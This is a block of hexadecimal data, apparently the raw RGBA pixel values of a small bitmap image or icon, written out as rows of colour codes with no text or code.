01FFEA3506FFE83A10FFE83A10FFE83A10FFE83A10FFE83A10FFE83A10FFE839
0FFFE8380EFFE6360CFFED3509FF955849FF25279EFF0003DAFF6162E4FFFFFF
FFFF0000C9FFAEB0EFFF0C0CD4FFB0B3F0FF1A1CD5FF0D0FD4FF1012D5FF0F10
D5FF0E11D5FF0C0FD3FF090CDFFF4C4C8BFF702525FF8D0E0EFF8C1111FF7C00
00FFCF9D98FFCFD9FFFF827BFFFFA38FFFFFA38FFFFF837CFFFFCDD8FFFFD09D
98FF770000FF860B0BFF870909FF724949FF874625FFB94600FF5847DDFF9B92
E9FFDDDDFEFFB6AFEFFF281BDEFFBE6A41FFAB3F0AFFAC420FFFAC420FFFAD41
0EFFAB400DFFAC3F0BFFAE3F08FF805B49FFAB4025FFED3E0CFFD83215FFD5A9
C0FFC46274FFEA3303FFE8390FFFE8390FFFE8390FFFE8390FFFE8390FFFE838
0EFFE8370DFFE6350BFFED3508FF955849FF25279EFF0000D8FFFDFFFDFF979A
EDFF0000D3FF0C0FD5FF0A0BD4FF1113D4FF0000CFFF0F11D4FF0F11D4FF0E0F
D4FF0D10D4FF0B0DD3FF0A0DDEFF4B4C8DFF702525FF8F0F0FFF830000FFCE9A
9AFFFFFFFFFFFFFFFFFFD1FFFFFF00E3FFFF00E3FFFFD1FFFFFFFFFFFFFFFFFF
FFFFC99797FF760000FF870909FF734949FF843D20FFB53C00FF5D4ADAFF7568
E2FFE5E2F9FFA59DEAFF1D0EDCFFBA5E33FFA52F00FFA53200FFA53200FFA533
00FFA43200FFA42F00FFA93000FF7D5647FFA93720FFEC2D00FFD06365FFFFFF
FFFFFFF3EEFFCB2516FFE72E00FFE52900FFE52800FFE52800FFE52800FFE527
00FFE52600FFE42400FFEB2500FF955347FF26279EFF0000D9FFFFFFFEFF898A
EAFF3F40DFFF9093EBFF0000D4FF1419D9FFCDCCF5FF0308D5FF1518D8FF1618
D8FF1519D8FF1317D8FF1115E4FF4C4C8CFF702626FF870000FFCD9999FFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFC5F7FFFFC5F6FFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFCD9898FF8A0000FF734949FFBEC5C9FFFFFFFFFF6A59E0FF1900
CDFF9588E8FF1D06CEFF1D05CEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A5A5FFBBC4C8FFFFFFFFFFD36967FFF583
5EFFEC4310FFDED1E8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA4A5FF25279FFF0003DDFF8A8DEBFFFFFF
FFFF0000D2FF060BD7FFAEAFF0FF2226DCFF0F14D8FF161ADAFF181BDAFF161C
DAFF151BDAFF1317D8FF1014E4FF4B4C8DFF692020FFD09797FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFD29696FF6E4747FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFFB9B9B9FFFFFFFFFFDF7A6EFFCE41
10FFDE410DFFE7CCD7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF21259EFF090DE1FF0000D6FFA7A9
F2FFCDD0F6FF0107D8FF1C20DDFF090FD9FF0E13DAFF0F15DAFF0F15DAFF0F15
DAFF0E14DAFF0C10DAFF090FE7FF494B8AFF9B7A7AFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF8F8181FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF292CA8FF393CEBFF3439E7FF2125
E3FF2328E3FF393DE6FF3336E6FF3739E7FF3739E7FF3739E7FF3739E7FF3739
E7FF353AE7FF3538E7FF363BEEFF52539DFFC3C4C4FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEAFAFFFC0C0C0FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEAEAEFFC0C0C0FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFACACACFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBEBEFFBFBEBEFFBFBEBEFFBFBFBEFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFBF
BFFFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFBFBFBFFFBFBFBFFFBFBFBFFFFFFFFFFFDDDDDDFFC0C0BFFFC0C0BFFFBFC0
BFFFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFF49A04CFF4DDA4FFF4CD54EFF4DD5
4FFF4DD141FF4FFEEAFF50FFFFFF50FFFFFF50FFFFFF51FFFFFF42D8FFFF30A0
F6FF32A3F8FF31A4F8FF31A7FFFF557E98FFB4B4B4FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9A9A9AFF598792FF6997D7FF9DC5B2FFB6E5
95FF87CA67FF5AAF3AFF359A11FF369910FF399B14FF3C9D18FF3F9F1BFF43A1
1FFF44A323FF44A422FF45A722FF5C7B52FFA1841EFFE4AE00FFE0AB01FFE0AB
02FFDFAB01FFDFAB01FFDFAB01FFDFAB01FFDFAB01FFDFAB01FFDFAB01FFDFAB
01FFE0AB02FFE0AB01FFE6B000FF908047FF4A9240FF4AB535FF4AB436FF4BB4
37FF4CAE29FF4EE5D7FF4FF6FFFF4FF5FDFF4FF5FDFF50FBFEFF41B5F0FF306C
E8FF3171E9FF3072E9FF2E71EFFF53719AFFBBBBBBFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF735A2AFF54DCFFFF2851DEFF354A
DFFF8F99F2FFE3E1FBFFFCFCFCFFF3F9E5FFC6DEB7FFA0C48CFF78AE5DFF549B
32FF35870AFF348908FF388D0AFF58784BFFA17A22FFD39606FFD19508FFD195
09FFD19509FFD19609FFD19609FFD19609FFD19609FFD19609FFD19609FFD195
09FFD19509FFD19508FFD69606FF917C46FF498332FF47A121FF49A022FF4AA1
23FF4B9B14FF4BDED3FF4CF4FFFF4EF3FDFF4EF3FDFF4DFAFEFF40A5ECFF2F46
E5FF304FE7FF2D4EE7FF2C4DECFF556397FFB9BBBBFFFFFFFFFFFFFFFFFFFDF7
FEFF9E99EBFFA29DEEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF734D23FF807A51FF5AF4FCFF4079
DFFF252ACFFF2133D7FF3142D4FF868DE5FFDADAF9FFFBFBFBFFFFFFFFFFFFFF
FFFFFBFBFBFFE7ECE3FFC9DFBAFF7D8C75FF9C6F22FFD08806FFCC8609FFCC88
0AFFCE870BFFCD870BFFCD870BFFCD870BFFCD870BFFCD870BFFCD870BFFCE87
0BFFCC880AFFCC8608FFD18906FF8E7548FF487426FF479210FF489011FF4991
14FF498A02FF4CDAD0FF4DF1FFFF4DF0FFFF4DF1FFFF4EF8FEFF3F97EBFF2E28
E3FF2F31E4FF2D30E5FF2A2DEAFF545695FFBBBEBEFFFFFFFFFFFBFBFBFF0E4E
D8FFC3C2E5FF829EE0FF456ADCFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFB
FBFFFBFBFBFFFBFBFBFFFFFFFFFFA0A0A0FF724924FF913B00FF66AEB5FF60EE
FFFF50ABEBFF302AD1FF2F31D7FF2A2FD7FF2127D6FF3137D2FF8385E1FFD4D5
F0FFFBFBFBFFFFFFFFFFFFFFFFFFA1A0A2FF976520FFC97500FFC17103FFC273
04FFC27205FFC27205FFC27205FFC27205FFC27205FFC27205FFC27205FFC272
05FFC27304FFC17102FFCB7600FF8B6E48FF4A7024FF458B08FF46890CFF478B
0CFF488300FF4BD8D0FF4AEFFCFF4AE6E9FF4AE1DAFF4DFAFFFF3D90EBFF2D1B
E3FF2E24E5FF2C23E3FF2921EAFF545094FF6B3C2CFF823312FF662943FF7496
E6FF918AE2FF7874DBFF5977E9FF813217FF82361AFF82361BFF82361BFF8036
1BFF81351BFF7D3319FF813216FF70584EFF724A25FF8E4507FF8B4002FF59DC
FBFF5FE2FEFF5AD1F4FF3742D5FF3129D5FF3433D9FF3231D8FF2B2BD7FF2121
D4FF3030D2FF8282E0FFDEDEFCFFA5A59EFFBCBFC7FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA2A5FF4A7224FF4A8F0CFF488B0DFF488B
0EFF4A8400FF4BD9CFFF4BFAFFFF498808FF49A244FF4DFFFFFF3D90EBFF2D1C
E3FF2E26E5FF2C25E5FF2922EAFF545194FF724A39FF90492AFF88525BFFF8FA
F9FF928FEBFF8480E4FFF2F5FBFF803A2EFF8E492EFF8E4930FF8E4930FF8D48
30FF8D472FFF8C462DFF8D442AFF745D54FF724A24FF914A0CFF8F4204FF7A6B
4DFF57E3FBFF5FDEFCFF5FE7FAFF4370DFFF2F22CFFF3332D9FF3434D9FF3333
D9FF2F2FD8FF2828D6FF1E1EDAFF555591FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF4A7225FF4E920EFF4F9111FF4E90
11FF498400FF49DAD4FF4ADACAFF49A347FF49B26CFF4CEDE3FF3D91EEFF2D1C
E3FF2E26E5FF2C25E5FF2922EAFF545194FF734A3AFF944C2EFF86515EFFDEE1
F4FF8C87D4FF7671D6FFDCE2F8FF813C2EFF8E492EFF8E4930FF8E4930FF8D48
30FF8D472FFF8C462DFF8D442AFF745D54FF724A25FF954E0EFF934F11FF943F
00FF67ADB5FF5CDFFFFF5EDBFCFF62E8FEFF52A9EBFF3027D1FF322FD8FF3333
D9FF3232D9FF3131D7FF2E2EDEFF555591FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF4B7325FF51940FFF529412FF5494
14FF548E04FF53DAD0FF4FF5FFFF4AE4E2FF49F3FFFF4CFAFFFF3C90EBFF2C1B
E3FF2C24E4FF2A23E3FF2922EAFF545194FF784C32FF9F5323FF7E4754FF6971
EBFF7672DDFF727DDBFF6463EEFF904820FF91491CFF91491EFF91491EFF9149
1EFF90481EFF8F461CFF95471BFF785E50FF754B25FF96510FFF945212FF9653
12FF964E0DFF61DDFBFF60DCFDFF5DDAFCFF5FE1FCFF59D1F4FF3642D5FF2F28
D5FF3030D8FF2F2FD7FF2F2FDEFF565691FFC2BCC4FFFFFFFFFFFBFBFBFFFBFB
FBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFB
FBFFFBFBFBFFFBFBFBFFFFFFFFFFA29FA4FF4C7326FF549810FF559613FF5797
16FF568F06FF57DCD1FF5AF4FFFF5BF2FFFF5AF1FDFF58F9FEFF4997ECFF3727
E5FF3931E7FF3931E7FF3B33ECFF555394FF3837B0FF3332F4FF3730E8FF385D
D5FF23A4D3FF22ABD7FF3D45D9FF3836EDFF3535ECFF3333ECFF3332EBFF3232
EBFF3332EBFF3433EDFF3534F8FF545398FF754C26FF9A5410FF985513FF9957
16FF9A510DFF8A7854FF66E7FBFF6DDFFCFF6BDEFCFF6AE1FCFF6AE8FAFF4D77
E1FF392DD5FF3E3EDCFF3F3FE2FF585891FF3F8C2BFF3FBB1FFF3FB422FF40B5
24FF42B524FF41B525FF41B525FF42B525FF40B423FF3DB220FF3DB320FF3DB3
1FFF3DB321FF3DB31FFF3FBD21FF58834DFF4C7425FF579A10FF589813FF5999
15FF589104FF59DDD2FF5CF3FFFF5CF2FDFF5CF2FDFF5DFAFDFF4F9AEFFF3D2C
E6FF3E36E8FF3C35E6FF3C34EDFF555394FF3F3AA6FF3F38E4FF3C33E2FF7374
DBFF5C95DEFF7188DCFF5A57DCFF4038E2FF423BE2FF423BE2FF423BE2FF423B
E2FF413AE2FF3F38E2FF3F38E7FF565493FF774C25FF9C5710FF9A5813FF9959
15FF9B5916FF9D4B00FF77B5B9FF6CE4FFFF6EDFFCFF6EDFFCFF6EDFFCFF72ED
FFFF5FB0EDFF3D36D5FF403DE3FF585891FF4A9039FF52C337FF54C136FF55C1
39FF55C03AFF55C23AFF55C23AFF55C23AFF55C23AFF55C23AFF55C23AFF55C1
3AFF55C139FF53C137FF54C637FF5D8554FF4C7323FF599A0BFF579A0EFF5899
10FF589200FF58DED1FF5BF4FFFF5BF2FDFF5BF2FDFF5DFBFEFF4D9AEFFF3B2B
E7FF3D35E8FF3C33E8FF3B32EFFF555293FF3D38A7FF3F36E6FF3F38E2FF3C33
E2FF3C3CE2FF3C33E2FF3E36E4FF4039E3FF4039E3FF4039E3FF4039E3FF4039
E3FF4038E2FF3F37E2FF4037E9FF555292FF754C23FF9D590BFF9C570EFF9C58
10FF9B5811FF9C570FFF9A5307FF6ADFFBFF6DE0FEFF6DDFFCFF6DDFFCFF6DDF
FCFF70E6FEFF6AD7F7FF4652E6FF55508FFF499038FF53C435FF53C137FF54C2
37FF54C238FF54C238FF54C238FF54C238FF54C238FF54C238FF54C238FF54C2
38FF54C237FF52C136FF55C736FF5C8552FF547A2FFF71A833FF6CA631FF6DA6
33FF6DA024FF6EE9DEFF6FF8FFFF6FF6FFFF6FF6FFFF71FEFFFF63A9F6FF5546
ECFF564EEDFF554DEDFF564EF1FF615FA3FF4541ACFF5B53EBFF5851E7FF5852
E7FF5951E7FF5952E7FF5952E7FF5952E7FF5952E7FF5952E7FF5952E7FF5852
E7FF5852E7FF5751E7FF5951EAFF6160A1FF7B5430FFAA7033FFA76D31FFA76C
33FFA76C33FFA76E33FFA9692AFF9D8B65FF7DEDFFFF81E5FFFF81E5FFFF81E3
FFFF81E4FFFF81E6FFFF86F5FFFF6B7EA4FF509741FF6BCD52FF68C950FF69CB
51FF69CA52FF69CA52FF69CA52FF69CA52FF69CA52FF69CA52FF69CA52FF69CA
52FF69CB51FF68C950FF6BCD52FF68935FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFF374EBFFF2C52FFFF2C51FFFF2D50
FFFF2D52FFFF2D52FFFF2D52FFFF2D52FFFF2D52FFFF2D52FFFF2D52FFFF2D52
FFFF2D50FFFF2C52FFFF2D52FFFF5261A2FFBF801CFFFFA900FFFFA501FFFFA6
02FFFFA601FFFFA601FFFFA601FFFFA601FFFFA601FFFFA601FFFFA601FFFFA6
01FFFFA602FFFFA501FFFFA900FFA27C44FF598F6BFF44C327FF46BF2FFF47BF
30FF47BF30FF47BF30FF47BF30FF47BF30FF47BF30FF47BF30FF47BF30FF47BF
30FF47BF30FF46BF2FFF44BE2EFF71A567FF41A447FF40E141FF40DD41FF40DC
42FF40DC41FF40DC43FF40DC42FF40DC42FF40DC42FF40DC42FF40DC43FF40DC
41FF40DD42FF40DD41FF3FE342FF59925BFF3B44B5FF313BECFF333DE9FF343E
E9FF343EE9FF343EE9FF343DE9FF343DE9FF343DE9FF343DE9FF343EE9FF343E
E9FF333EE9FF333DE9FF323BEEFF535A9FFFB47A20FFEC9804FFE99707FFE998
08FFE99809FFE99809FFE99809FFE99809FFE99809FFE99809FFE99809FFE998
09FFE99808FFE99707FFEE9A04FF9F7B44FF5739C5FF3DB822FF40B627FF41B5
2AFF41B42BFF41B62BFF41B62BFF41B62BFF41B62BFF41B62BFF41B62BFF41B4
2BFF41B52AFF3FB529FF3DB425FF69A160FF42983AFF3BC02DFF3DBD2EFF3EBD
2FFF3FBD30FF3FBD30FF3FBD30FF3FBD30FF3FBD30FF3FBD30FF3FBD30FF3EBD
30FF3EBD2FFF3DBD2EFF3CC02CFF578D54FF3D38AAFF372BE2FF372CE0FF372F
DFFF392EDFFF392EDFFF3930DFFF392FDFFF392FDFFF3930DFFF392EDFFF392E
DFFF382FDFFF372CE0FF362BE4FF575698FFAB7522FFE29008FFDE8F0AFFDE91
0BFFE0900CFFE0900BFFE08E04FFE39004FFE08E02FFE18F0AFFE0900CFFE090
0CFFDE910BFFDE8F08FFE49207FF987747FF5439C0FF3F41AAFF3BC00AFF3EB2
18FF3DB218FF3FB118FF3FB118FF3FB118FF3FB118FF3FB118FF3FB118FF3DB2
18FF3EB217FF3DB016FF39B012FF6A9E58FF40892FFF3AAD1DFF3CAC1EFF3BAC
1FFF3BAD1FFF37AB19FF37AB19FF37AB1AFF37AB1AFF38AB1BFF35AA18FF3AAC
1DFF3BAC1FFF3BAC1DFF3AB01CFF5A8451FF402FA2FF391DDAFF3B20D7FF3D20
D7FF3D22D7FF3D21D7FF3D21D7FF3D21D7FF3D21D7FF3D21D7FF3D21D7FF3D22
D7FF3C21D7FF3B1FD7FF391CDCFF595092FFA27023FFD88A09FFD6890CFFD68A
0EFFD78A0DFFD2880BFFDFAF67FFA68767FFC5A788FFD59218FFCF890CFFD78A
0EFFD68A0EFFD6890CFFDB8C09FF917448FF5039BAFF3E0BDDFF2B91A7FF1DCC
A9FF1FC5AAFF1FC5AAFF1FC6ADFF1FC5ABFF1FC6ACFF1FC5AAFF1FC5AAFF1FC5
AAFF1EC6ABFF1DC4AAFF1AC6ABFF5DA89CFF3F8026FF38A00FFF389E10FF399F
10FF45A420FF7DC065FF7CBF62FF7ABE60FF77BD5CFF71B954FF93C97CFF5DB0
3BFF389E0EFF389F11FF38A10EFF597C4BFF422C9EFF3B16D7FF3D1AD3FF3D1A
D5FF3F1BD5FF3F1DD5FF3F1DD5FF3F1DD5FF3F1DD5FF3F1DD5FF3F1DD5FF3F1B
D5FF3E1BD4FF3C19D3FF3B16DAFF5A4E8FFF9E6E24FFD68808FFD3860BFFD388
0CFFDC890DFF647C0EFF73724FFF258A2FFF368460FF4A731CFFBA890EFFD688
0DFFD3880CFFD3870AFFD98907FF8E7249FF4F36BAFF3A15D3FF3C12D8FF0BD6
FFFF0CD3FFFF0ED3FFFF0EC4F4FF0EE0FFFF0EC1F2FF0ED3FFFF0ED2FFFF0DD3
FFFF0CC2F3FF0AE2FFFF06BFF0FF55B1C5FF3F7A24FF379A08FF38980CFF399A
0DFF39990CFF369708FF359707FF369708FF369708FF369708FF349607FF3798
0AFF3A9A0DFF37990BFF379B08FF587949FF3F2CA9FF3B1AE6FF3818E2FF3818
E2FF381AE2FF3515DCFF3616DDFF381AE2FF381AE2FF381AE2FF381AE2FF391B
E1FF3E1CD5FF3C1AD3FF3B17DAFF5A4E8FFF9D6B20FFD58602FFCB7E02FFCB7E
03FFD48105FF6D6D05FF5D975FFFA27A35FFA29959FF5F7B3DFF9A7E00FFD080
05FFCB8004FFCB7D01FFD48200FF8E7248FF5037BCFF3F1CD5FF4014D3FF3244
DDFF0DDDFFFF10D9FFFF107791FF100604FF10D0FDFF10D2FFFF10D1FFFF0FD8
FFFF0E86A3FF0C0400FF08BFEBFF54B0C5FF407A24FF3C9F0CFF3A9A0DFF3799
0AFF38980DFF359607FF3F9C14FF379709FF359809FF419D17FF349707FF3B99
0FFF359708FF389A0CFF379C09FF587A49FF744520FF944800FF934A00FF9147
00FF8A3E00FFB27D47FFA96D33FF8C3F00FF8E4300FF8E4300FF8E4300FF9445
00FF3618E8FF3C1AD3FF3B17DAFF5A4E8FFFBCBFC8FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFCAE0C4FF6CAEA4FF81906CFF639D95FF71AB7DFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA2A5FF5037BBFF431ED6FF471BD5FF3849
DEFF0BDDFFFF0FD0FCFF0F687CFF101517FF108CA8FF10D7FFFF10D1FFFF0FD2
FFFF0E6C85FF0C1212FF08829CFF54B2C5FF417B25FF40A00EFF3E9D0EFF59AA
30FFAAD39AFF7BBC60FF94C77CFFBCDCAFFF7ABC5FFF65B046FF97C880FF6BB4
